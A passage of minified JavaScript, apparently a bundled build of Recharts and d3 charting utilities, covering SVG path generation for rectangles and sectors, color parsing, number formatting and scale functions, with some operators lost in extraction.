v=Math.min(l,i);f=Ke(Fy||(Fy=$n(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Ke(Wy||(Wy=$n(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},qy={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},sN=e=>{var t=rn(e,qy),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=zd(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Ve("recharts-rectangle",d);if(!g){var N=At(t),{radius:z}=N,O=Hy(N,MM);return p.createElement("path",eu({},O,{x:Vr(a),y:Vr(o),width:Vr(l),height:Vr(c),radius:typeof u=="number"?u:void 0,className:S,d:Ky(a,o,l,c,u)}))}var E=y.current,T=v.current,P=b.current,U=w.current,K="0px ".concat(r===-1?1:r,"px"),$="".concat(r,"px 0px"),L=nN(["strokeDasharray"],m,typeof f=="string"?f:qy.animationEasing);return p.createElement(Sd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var W=yt(E,l,F),H=yt(T,c,F),B=yt(P,a,F),q=yt(U,o,F);n.current&&(y.current=W,v.current=H,b.current=B,w.current=q);var X;x?F>0?X={transition:L,strokeDasharray:$}:X={strokeDasharray:K}:X={strokeDasharray:$};var se=At(t),{radius:ue}=se,fe=Hy(se,LM);return p.createElement("path",eu({},fe,{radius:typeof u=="number"?u:void 0,className:S,d:Ky(B,q,W,H,u),ref:n,style:Vy(Vy({},X),t.style)}))})};function Yy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gy(e){for(var t=1;te*180/Math.PI,et=(e,t,n,r)=>({x:e+Math.cos(-tu*r)*n,y:t+Math.sin(-tu*r)*n}),oN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},VM=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},HM=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=VM({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:UM(c),angleInRadian:c}},KM=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},qM=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},YM=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=HM({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=KM(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?Gy(Gy({},t),{},{radius:i,angle:qM(d,t)}):null};function lN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=et(t,n,r,i),l=et(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var Xy,Zy,Qy,Jy,e1,t1,n1;function Bm(){return Bm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=It(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Cl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/tu,f=c?i:i+a*d,m=et(t,n,u,f),h=et(t,n,r,f),x=c?i-a*d:i,g=et(t,n,u*Math.cos(d*tu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},cN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=GM(a,o),c=a+l,u=et(t,n,i,a),d=et(t,n,i,c),f=Ke(Xy||(Xy=Ci(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=et(t,n,r,a),h=et(t,n,r,c);f+=Ke(Zy||(Zy=Ci(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Ke(Qy||(Qy=Ci(["L ",","," Z"])),t,n);return f},XM=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=It(u-c),{circleTangency:f,lineTangency:m,theta:h}=Cl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Cl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Ke(Jy||(Jy=Ci(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),m.x,m.y,a,a,a*2,a,a,-a*2):cN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Ke(e1||(e1=Ci(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Cl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Cl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(O<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Ke(t1||(t1=Ci(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(O>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Ke(n1||(n1=Ci(["L",",","Z"])),t,n);return b},ZM={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},uN=e=>{var t=rn(e,ZM),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=XM({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=cN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Bm({},At(t),{className:m,d:g}))};function QM(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(E5(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=et(r,i,a,l),u=et(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return lN(t)}}var dN={},fN={},pN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(pN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=pN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=kx,n=fN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function e8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function Mx(e){let t,n,r;e.length!==2?(t=ti,n=(l,c)=>ti(e(l),c),r=(l,c)=>e(l)-c):(t=e===ti||e===e8?e:t8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function t8(){return 0}function hN(e){return e===null?NaN:+e}function*n8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const r8=Mx(ti),Uo=r8.right;Mx(hN).center;class r1 extends Map{constructor(t,n=s8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(i1(this,t))}has(t){return super.has(i1(this,t))}set(t,n){return super.set(i8(this,t),n)}delete(t){return super.delete(a8(this,t))}}function i1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function i8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function a8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function s8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function o8(e=ti){if(e===ti)return xN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function xN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const l8=Math.sqrt(50),c8=Math.sqrt(10),u8=Math.sqrt(2);function nu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=l8?10:a>=c8?5:a>=u8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function s1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function vN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?xN:o8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));vN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(js(e,n,t),i(e[r],a)>0&&js(e,n,r);o0;)--l}i(e[n],a)===0?js(e,n,l):(++l,js(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function js(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function d8(e,t,n){if(e=Float64Array.from(n8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return s1(e);if(t>=1)return a1(e);var r,i=(r-1)*t,a=Math.floor(i),o=a1(vN(e,a).subarray(0,a+1)),l=s1(e.subarray(a+1));return o+(l-o)*(i-a)}}function f8(e,t,n=hN){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function p8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Pl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Pl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=x8.exec(e))?new Dt(t[1],t[2],t[3],1):(t=v8.exec(e))?new Dt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=g8.exec(e))?Pl(t[1],t[2],t[3],t[4]):(t=y8.exec(e))?Pl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=b8.exec(e))?p1(t[1],t[2]/100,t[3]/100,1):(t=w8.exec(e))?p1(t[1],t[2]/100,t[3]/100,t[4]):o1.hasOwnProperty(e)?u1(o1[e]):e==="transparent"?new Dt(NaN,NaN,NaN,0):null}function u1(e){return new Dt(e>>16&255,e>>8&255,e&255,1)}function Pl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Dt(e,t,n,r)}function N8(e){return e instanceof Vo||(e=zo(e)),e?(e=e.rgb(),new Dt(e.r,e.g,e.b,e.opacity)):new Dt}function Hm(e,t,n,r){return arguments.length===1?N8(e):new Dt(e,t,n,r??1)}function Dt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Dx(Dt,Hm,yN(Vo,{brighter(e){return e=e==null?ru:Math.pow(ru,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?No:Math.pow(No,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Dt(Ti(this.r),Ti(this.g),Ti(this.b),iu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:d1,formatHex:d1,formatHex8:S8,formatRgb:f1,toString:f1}));function d1(){return`#${Pi(this.r)}${Pi(this.g)}${Pi(this.b)}`}function S8(){return`#${Pi(this.r)}${Pi(this.g)}${Pi(this.b)}${Pi((isNaN(this.opacity)?1:this.opacity)*255)}`}function f1(){const e=iu(this.opacity);return`${e===1?"rgb(":"rgba("}${Ti(this.r)}, ${Ti(this.g)}, ${Ti(this.b)}${e===1?")":`, ${e})`}`}function iu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Ti(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Pi(e){return e=Ti(e),(e<16?"0":"")+e.toString(16)}function p1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Pn(e,t,n,r)}function bN(e){if(e instanceof Pn)return new Pn(e.h,e.s,e.l,e.opacity);if(e instanceof Vo||(e=zo(e)),!e)return new Pn;if(e instanceof Pn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Pn(o,l,c,e.opacity)}function z8(e,t,n,r){return arguments.length===1?bN(e):new Pn(e,t,n,r??1)}function Pn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Dx(Pn,z8,yN(Vo,{brighter(e){return e=e==null?ru:Math.pow(ru,e),new Pn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?No:Math.pow(No,e),new Pn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Dt(Hf(e>=240?e-240:e+120,i,r),Hf(e,i,r),Hf(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Pn(m1(this.h),El(this.s),El(this.l),iu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=iu(this.opacity);return`${e===1?"hsl(":"hsla("}${m1(this.h)}, ${El(this.s)*100}%, ${El(this.l)*100}%${e===1?")":`, ${e})`}`}}));function m1(e){return e=(e||0)%360,e<0?e+360:e}function El(e){return Math.max(0,Math.min(1,e||0))}function Hf(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Rx=e=>()=>e;function C8(e,t){return function(n){return e+n*t}}function P8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function E8(e){return(e=+e)==1?wN:function(t,n){return n-t?P8(t,n,e):Rx(isNaN(t)?n:t)}}function wN(e,t){var n=t-e;return n?C8(e,n):Rx(isNaN(e)?t:e)}const h1=function e(t){var n=E8(t);function r(i,a){var o=n((i=Hm(i)).r,(a=Hm(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=wN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function A8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:au(r,i)})),n=Kf.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function F8(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?W8:F8,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),au)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,su),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=$x,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Pt,d()):o!==Pt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Bx(){return Cd()(Pt,Pt)}function U8(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function ou(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Wa(e){return e=ou(Math.abs(e)),e?e[1]:NaN}function V8(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function H8(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var K8=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Co(e){if(!(t=K8.exec(e)))throw new Error("invalid format: "+e);var t;return new Fx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Co.prototype=Fx.prototype;function Fx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Fx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function q8(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var lu;function Y8(e,t){var n=ou(e,t);if(!n)return lu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(lu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+ou(e,Math.max(0,t+a-1))[0]}function v1(e,t){var n=ou(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const g1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:U8,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>v1(e*100,t),r:v1,s:Y8,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function y1(e){return e}var b1=Array.prototype.map,w1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function G8(e){var t=e.grouping===void 0||e.thousands===void 0?y1:V8(b1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?y1:H8(b1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=Co(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):g1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),O=g1[S],E=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var U=N,K=z,$,L,F;if(S==="c")K=O(P)+K,P="";else{P=+P;var W=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),k&&(P=q8(P)),W&&+P==0&&g!=="+"&&(W=!1),U=(W?g==="("?g:l:g==="-"||g==="("?"":g)+U,K=(S==="s"&&!isNaN(P)&&lu!==void 0?w1[8+lu/3]:"")+K+(W&&g==="("?")":""),E){for($=-1,L=P.length;++$F||F>57){K=(F===46?i+P.slice($+1):P.slice($))+K,P=P.slice(0,$);break}}}w&&!v&&(P=t(P,1/0));var H=U.length+P.length+K.length,B=H>1)+U+P+K+B.slice(H);break;default:P=B+U+P+K;break}return a(P)}return T.toString=function(){return f+""},T}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Wa(m)/3)))*3,x=Math.pow(10,-h),g=u((f=Co(f),f.type="f",f),{suffix:w1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Al,Wx,jN;X8({thousands:",",grouping:[3],currency:["$",""]});function X8(e){return Al=G8(e),Wx=Al.format,jN=Al.formatPrefix,Al}function Z8(e){return Math.max(0,-Wa(Math.abs(e)))}function Q8(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Wa(t)/3)))*3-Wa(Math.abs(e)))}function J8(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Wa(t)-Wa(e))+1}function kN(e,t,n,r){var i=Um(e,t,n),a;switch(r=Co(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=Q8(i,o))&&(r.precision=a),jN(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=J8(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=Z8(i))&&(r.precision=a-(r.type==="%")*2);break}}return Wx(r)}function di(e){var t=e.domain;return e.ticks=function(n){var r=t();return Fm(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return kN(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=Wm(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function NN(){var e=Bx();return e.copy=function(){return Ho(e,NN())},yn.apply(e,arguments),di(e)}function SN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,su),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return SN(e).unknown(t)},e=arguments.length?Array.from(e,su):[0,1],di(n)}function zN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function iL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function N1(e){return(t,n)=>-e(-t,n)}function Ux(e){const t=e(j1,k1),n=t.domain;let r=10,i,a;function o(){return i=iL(r),a=rL(r),n()[0]<0?(i=N1(i),a=N1(a),e(eL,tL)):e(j1,k1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Co(c)).precision==null&&(c.trim=!0),c=Wx(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(zN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function CN(){const e=Ux(Cd()).domain([1,10]);return e.copy=()=>Ho(e,CN()).base(e.base()),yn.apply(e,arguments),e}function S1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function z1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Vx(e){var t=1,n=e(S1(t),z1(t));return n.constant=function(r){return arguments.length?e(S1(t=+r),z1(t)):t},di(n)}function PN(){var e=Vx(Cd());return e.copy=function(){return Ho(e,PN()).constant(e.constant())},yn.apply(e,arguments)}function C1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function aL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function sL(e){return e<0?-e*e:e*e}function Hx(e){var t=e(Pt,Pt),n=1;function r(){return n===1?e(Pt,Pt):n===.5?e(aL,sL):e(C1(n),C1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},di(t)}function Kx(){var e=Hx(Cd());return e.copy=function(){return Ho(e,Kx()).exponent(e.exponent())},yn.apply(e,arguments),e}function oL(){return Kx.apply(null,arguments).exponent(.5)}function P1(e){return Math.sign(e)*e*e}function lL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function EN(){var e=Bx(),t=[0,1],n=!1,r;function i(a){var o=lL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(P1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,su)).map(P1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return 